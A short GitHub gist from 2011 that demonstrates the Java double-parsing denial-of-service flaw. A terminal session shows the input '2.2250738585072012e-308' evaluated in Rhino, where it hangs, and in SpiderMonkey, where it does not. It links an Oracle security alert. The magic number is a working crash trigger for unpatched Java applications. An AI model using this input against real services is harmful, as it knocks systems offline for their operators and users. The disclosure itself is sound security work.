Skip to content

Instantly share code, notes, and snippets.

@mlc
Created February 13, 2011 20:49
Show Gist options
  • Save mlc/825106 to your computer and use it in GitHub Desktop.
Save mlc/825106 to your computer and use it in GitHub Desktop.
it's now trivial to crash almost any application written in Java. http://blogs.oracle.com/security/2011/02/security_alert_for_cve-2010-44.html
mozilla's spidermonkey is written in C++ and has no problem:
mlc@palm:~$ smjs
js> "2.2250738585072012e-308" * 2
4.450147717014403e-308
js>
but try with rhino, which is written in Java:
mlc@palm:~$ rhino
Rhino 1.7 release 2 2010 02 06
js> "2.2250738585072012e-308" * 2
... and it hangs.
more info: http://blogs.oracle.com/security/2011/02/security_alert_for_cve-2010-44.html
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment